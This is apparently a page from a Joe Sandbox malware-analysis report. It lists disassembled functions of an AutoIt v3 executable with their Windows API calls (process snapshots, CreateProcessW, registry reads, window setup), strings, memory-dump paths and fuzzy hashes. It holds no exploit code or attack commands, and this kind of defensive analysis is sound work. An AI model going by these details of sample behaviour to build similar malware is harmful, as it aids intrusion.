Opcode Fuzzy Hash: 77191844acd28670ee433e4a2b57d43ad3d917201750d084a69e87bbdfa880aa
Instruction Fuzzy Hash: D211A5711083C26AC71CFF61D86D9AE7FAABBD5351F54182DF0C6170A2DF218A8AC712

Function 0064D4DC Relevance: 6.1, APIs: 4, Instructions: 86
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0064D501
Process32FirstW.KERNEL32(00000000,?), ref: 0064D50F
Process32NextW.KERNEL32(00000000,?), ref: 0064D52F
CloseHandle.KERNELBASE(00000000), ref: 0064D5DC

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 4bbd79181420c3dd7bfc61b0ffb7029a469bea64f2af652a461ed5473756cb23
Instruction ID: adbdd860daf8e35e30004244bac3a16776e0b2317536cc42f9ae26d1b9b863d6
Opcode Fuzzy Hash: 4bbd79181420c3dd7bfc61b0ffb7029a469bea64f2af652a461ed5473756cb23
Instruction Fuzzy Hash: 6631B1311083419FD308EF64C885AAFBFE9FFD9354F50092DF585822A1EB719985CB92

Function 0064DBBE Relevance: 6.0, APIs: 4, Instructions: 29
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(?,00625222), ref: 0064DBCE
GetFileAttributesW.KERNELBASE(?), ref: 0064DBDD
FindFirstFileW.KERNEL32(?,?), ref: 0064DBEE
FindClose.KERNEL32(00000000), ref: 0064DBFA

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstlstrlen
String ID:
API String ID: 2695905019-0
Opcode ID: c33e0491d015a1ef8a099f5efe8b438a88fc5105cae18381fd69bf16864c57b7
Instruction ID: 3f80ad721fc47e1f8939c957b280bebc3ae53d70b36cfe42cf02d0759bf5b623
Opcode Fuzzy Hash: c33e0491d015a1ef8a099f5efe8b438a88fc5105cae18381fd69bf16864c57b7
Instruction Fuzzy Hash: 05F0A07082091057C3256BB8AC4D8AA376E9F03374B50471AF83AC22E0EBB05AD58695

Function 00604CE8 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(006128E9,?,00604CBE,006128E9,006A88B8,0000000C,00604E15,006128E9,00000002,00000000,?,006128E9), ref: 00604D09
TerminateProcess.KERNEL32(00000000,?,00604CBE,006128E9,006A88B8,0000000C,00604E15,006128E9,00000002,00000000,?,006128E9), ref: 00604D10
ExitProcess.KERNEL32 ref: 00604D22

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 381d44176af761eb3dda8cd44c483985f2eec9d5846041dccf9a7bbb114cd0b2
Instruction ID: 0a0e0fbd59ae6d1757a08f0b9d7039c9f0d1806f530175eddaddb3062c0c2de5
Opcode Fuzzy Hash: 381d44176af761eb3dda8cd44c483985f2eec9d5846041dccf9a7bbb114cd0b2
Instruction Fuzzy Hash: 29E0B671040648BBCF29AF54DD09A993B6BEF417A5B144018FD099A2B2DF35DD82CA84

Function 005EBF40 Relevance: 2.4, Strings: 1, Instructions: 1178COMMON

Download Yara Rule

Strings

p#k, xrefs: 006307CE

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: BuffCharUpper
String ID: p#k
API String ID: 3964851224-3480846067
Opcode ID: 4a537ef0e026018f8dc04eb03eeb8cf345da1e6aa664a80f450077e465232dc3
Instruction ID: 91ba25d99ca0f0ddf708fd2cb8b11775f44eb5fd310320703da7bfb3d1d7b516
Opcode Fuzzy Hash: 4a537ef0e026018f8dc04eb03eeb8cf345da1e6aa664a80f450077e465232dc3
Instruction Fuzzy Hash: 7DA259706083419FD718CF29C494B6ABFE1BF89304F14896DE99A8B352D731EC46CB92

Function 0066AFF9 Relevance: 24.4, APIs: 16, Instructions: 418
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 0066B198
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0066B1B0
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0066B1D4
_wcslen.LIBCMT ref: 0066B200
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0066B214
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0066B236
_wcslen.LIBCMT ref: 0066B332

Part of subcall function 006505A7: GetStdHandle.KERNEL32(000000F6), ref: 006505C6

_wcslen.LIBCMT ref: 0066B34B
_wcslen.LIBCMT ref: 0066B366
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 0066B3B6
GetLastError.KERNEL32(00000000), ref: 0066B407
CloseHandle.KERNEL32(?), ref: 0066B439
CloseHandle.KERNEL32(00000000), ref: 0066B44A
CloseHandle.KERNEL32(00000000), ref: 0066B45C
CloseHandle.KERNEL32(00000000), ref: 0066B46E
CloseHandle.KERNEL32(?), ref: 0066B4E3

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Handle$Close_wcslen$Directory$CurrentSystem$CreateErrorLastProcess
String ID:
API String ID: 2178637699-0
Opcode ID: 074942f739b31845a13e956747b3c42267c396e27875e98407e8666f278b1285
Instruction ID: 76252e02798d5559c7b3e9d5a110c8e70a259d5d8417ed24954e70a00d0602fa
Opcode Fuzzy Hash: 074942f739b31845a13e956747b3c42267c396e27875e98407e8666f278b1285
Instruction Fuzzy Hash: 67F19931604341DFC718EF24C895A6ABBE6BF85310F14845DF9899B3A2DB30EC85CB52

Function 005ED730 Relevance: 21.6, APIs: 14, Instructions: 627windowsleeptimeCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 005ED807
timeGetTime.WINMM ref: 005EDA07
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 005EDB28
TranslateMessage.USER32(?), ref: 005EDB7B
DispatchMessageW.USER32(?), ref: 005EDB89
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 005EDB9F
Sleep.KERNELBASE(0000000A), ref: 005EDBB1

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Message$Peek$DispatchInputSleepStateTimeTranslatetime
String ID:
API String ID: 2189390790-0
Opcode ID: 3c8f1fea312a7a2dd3961db653c654903df630043e05805b466de702d289a091
Instruction ID: dfcbb30ff3aec0cefdd5a18990b6121bf6e56b0b0a8b00f821e5d8e8b11d7958
Opcode Fuzzy Hash: 3c8f1fea312a7a2dd3961db653c654903df630043e05805b466de702d289a091
Instruction Fuzzy Hash: 5542F570608382DFD728CF25C854BAABBF6BF86314F14465DE4958B391D774E884CBA2

Function 005E2CD4 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 005E2D07
RegisterClassExW.USER32(00000030), ref: 005E2D31
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 005E2D42
InitCommonControlsEx.COMCTL32(?), ref: 005E2D5F
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 005E2D6F
LoadIconW.USER32(000000A9), ref: 005E2D85
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 005E2D94

Strings

TaskbarCreated, xrefs: 005E2D37
AutoIt v3 GUI, xrefs: 005E2D23
+, xrefs: 005E2CF0
0, xrefs: 005E2CE9

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 5d4f8aaa4bbcefa0ea72c0653c6a142bf2a608265eb5239e3e126b666961f037
Instruction ID: 2ddf810a02e05a95464e5a8823613737103723aaa3ff8c05382e06aa072612d6
Opcode Fuzzy Hash: 5d4f8aaa4bbcefa0ea72c0653c6a142bf2a608265eb5239e3e126b666961f037
Instruction Fuzzy Hash: F32113B0901348AFDB04EFA4EC59BDDBBB6FB08711F10921AF615AA2A0D7B10580CF90

Function 0062065B Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0062039A: CreateFileW.KERNELBASE(00000000,00000000,?,00620704,?,?,00000000,?,00620704,00000000,0000000C), ref: 006203B7

GetLastError.KERNEL32 ref: 0062076F
__dosmaperr.LIBCMT ref: 00620776
GetFileType.KERNELBASE(00000000), ref: 00620782
GetLastError.KERNEL32 ref: 0062078C
__dosmaperr.LIBCMT ref: 00620795
CloseHandle.KERNEL32(00000000), ref: 006207B5
CloseHandle.KERNEL32(?), ref: 006208FF
GetLastError.KERNEL32 ref: 00620931
__dosmaperr.LIBCMT ref: 00620938

Strings

H, xrefs: 006208BD

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: ba2c689ff9175cad362a6d30b8b428c48adeb812ebbb57f2a28ddb653bd3205b
Instruction ID: 89686cc03d466ad5e4d336636d93e473e26f60959343877b3629fb06bab6c228
Opcode Fuzzy Hash: ba2c689ff9175cad362a6d30b8b428c48adeb812ebbb57f2a28ddb653bd3205b
Instruction Fuzzy Hash: B9A12432A105188FEF19EF68E851BAE7BA2AB06320F14415DF8159F3D2D7319953CF91

Function 005E344D Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005E3A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,006B1418,?,005E2E7F,?,?,?,00000000), ref: 005E3A78

Part of subcall function 005E3357: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 005E3379

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 005E356A
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 0062318D
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 006231CE
RegCloseKey.ADVAPI32(?), ref: 00623210
_wcslen.LIBCMT ref: 00623277
_wcslen.LIBCMT ref: 00623286

Strings

Software\AutoIt v3\AutoIt, xrefs: 005E3560
\Include\, xrefs: 005E3527
\, xrefs: 0062328C
Include, xrefs: 00623184, 006231C5

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: NameQueryValue_wcslen$CloseFileFullModuleOpenPath
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 98802146-2727554177
Opcode ID: dcc8ceaa2d58cb1a92ab7a9bb21bd2464d9ec1ec819590e8ed838c10cdd60315
Instruction ID: b582f6b8cca7c8b7421e4c42e30fb75f3a50ac6c7d5977c7d87e6e878585f892
Opcode Fuzzy Hash: dcc8ceaa2d58cb1a92ab7a9bb21bd2464d9ec1ec819590e8ed838c10cdd60315
Instruction Fuzzy Hash: 7B71D7B14043529FC318EF25EC958ABBBEAFF85740F40592DF58587261EB349A88CB51

Function 005E2B83 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 005E2B8E
LoadCursorW.USER32(00000000,00007F00), ref: 005E2B9D
LoadIconW.USER32(00000063), ref: 005E2BB3
LoadIconW.USER32(000000A4), ref: 005E2BC5
LoadIconW.USER32(000000A2), ref: 005E2BD7
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 005E2BEF
RegisterClassExW.USER32(?), ref: 005E2C40

Part of subcall function 005E2CD4: GetSysColorBrush.USER32(0000000F), ref: 005E2D07
Part of subcall function 005E2CD4: RegisterClassExW.USER32(00000030), ref: 005E2D31
Part of subcall function 005E2CD4: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 005E2D42
Part of subcall function 005E2CD4: InitCommonControlsEx.COMCTL32(?), ref: 005E2D5F
Part of subcall function 005E2CD4: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 005E2D6F
Part of subcall function 005E2CD4: LoadIconW.USER32(000000A9), ref: 005E2D85
Part of subcall function 005E2CD4: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 005E2D94

Strings

#, xrefs: 005E2C16
0, xrefs: 005E2C0F
AutoIt v3, xrefs: 005E2C2F

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 7065a70de7adb5177d020c06abc64803e54d1c456807c1a1c1b2071c21ce7c13
Instruction ID: ed5745a3a8ad1110119e7960bd0c714138fb2a2c02d4f16afc98e9ae20a07852
Opcode Fuzzy Hash: 7065a70de7adb5177d020c06abc64803e54d1c456807c1a1c1b2071c21ce7c13
Instruction Fuzzy Hash: 91217FB1E10314BBDB149FA5EC65A9D7FF6FB49B50F50111AE604AA2A0E7B10A80CF90

Function 005E3170 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 145
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?,?,?,?,?,?,005E316A,?,?), ref: 005E31D8
KillTimer.USER32(?,00000001,?,?,?,?,?,005E316A,?,?), ref: 005E3204
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 005E3227
RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,005E316A,?,?), ref: 005E3232
CreatePopupMenu.USER32 ref: 005E3246
PostQuitMessage.USER32(00000000), ref: 005E3267

Strings

TaskbarCreated, xrefs: 005E322D

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: 15624f87ca1765c15b53f085520cee5dd4aa6f5ab2fb1eefa45aaad7bc4e6f66
Instruction ID: 8b475ed404ae095d7c1e7917e2905e8c1f6ce6ddec0687713bcade4531b12ad4
Opcode Fuzzy Hash: 15624f87ca1765c15b53f085520cee5dd4aa6f5ab2fb1eefa45aaad7bc4e6f66
Instruction Fuzzy Hash: DD4126B5204285BBDB1C1B29DC3DBB93E57FB42350F44152DF6C58B2A1DA618A80D761

Function 005E1410 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 332
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 005E1459
CoUninitialize.COMBASE ref: 005E14F8
UnregisterHotKey.USER32(?), ref: 005E16DD
DestroyWindow.USER32(?), ref: 006224B9
FreeLibrary.KERNEL32(?), ref: 0062251E
VirtualFree.KERNEL32(?,00000000,00008000), ref: 0062254B

Strings

close all, xrefs: 005E1454

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: ee20a98e392af08b839ac2f8e2fc92a5c04af09ba75ac8819685aadeda5fa122
Instruction ID: 364afff17c668e7384697e85576a6739c58bb5b8dd717a36aa8aa8252a3bf04b
Opcode Fuzzy Hash: ee20a98e392af08b839ac2f8e2fc92a5c04af09ba75ac8819685aadeda5fa122
Instruction Fuzzy Hash: EDD1AD31701663DFCB29EF15D4A8A69FBA2BF44700F1481ADE58AAB351CB30AD52CF54

Function 005E2C63 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 005E2C91
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 005E2CB2
ShowWindow.USER32(00000000,?,?,?,?,?,?,005E1CAD,?), ref: 005E2CC6
ShowWindow.USER32(00000000,?,?,?,?,?,?,005E1CAD,?), ref: 005E2CCF

Strings

edit, xrefs: 005E2CAC
AutoIt v3, xrefs: 005E2C89, 005E2C8E, 005E2C8F

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 725caae75e5da0114089c33fecf1760b92bd63bc0a5bce52aa52037e600ffe65
Instruction ID: 2959680de7cd0992e60be546ad5e147a4448514aa7e703f8782b3841e84e709e
Opcode Fuzzy Hash: 725caae75e5da0114089c33fecf1760b92bd63bc0a5bce52aa52037e600ffe65
Instruction Fuzzy Hash: 9CF030B55402907BE73007236C18E772EBFD7C7F60B54511DFA04D61A0D6610880DB70

Function 005E3B1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,005E3B0F,SwapMouseButtons,00000004,?), ref: 005E3B40
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,005E3B0F,SwapMouseButtons,00000004,?), ref: 005E3B61
RegCloseKey.KERNELBASE(00000000,?,?,?,80000001,80000001,?,005E3B0F,SwapMouseButtons,00000004,?), ref: 005E3B83

Strings

Control Panel\Mouse, xrefs: 005E3B3E

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: afd7c1ae819ac8f79f8cf12459a95b33585bfdbcf154a367df9374eff396d959
Instruction ID: 564ac1109c731db291cbce420af13b0e000834e0b3d92ba583ad6034ba2da02d
Opcode Fuzzy Hash: afd7c1ae819ac8f79f8cf12459a95b33585bfdbcf154a367df9374eff396d959
Instruction Fuzzy Hash: 0E112AB5510248FFDB24CFA6DC48AAEBBBCFF44754B104959E846D7110E2319E4097A0

Function 005E3923 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94windowCOMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 006233A2

Part of subcall function 005E6B57: _wcslen.LIBCMT ref: 005E6B6A

Shell_NotifyIconW.SHELL32(00000001,?), ref: 005E3A04

Strings

Line: , xrefs: 006233EB

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

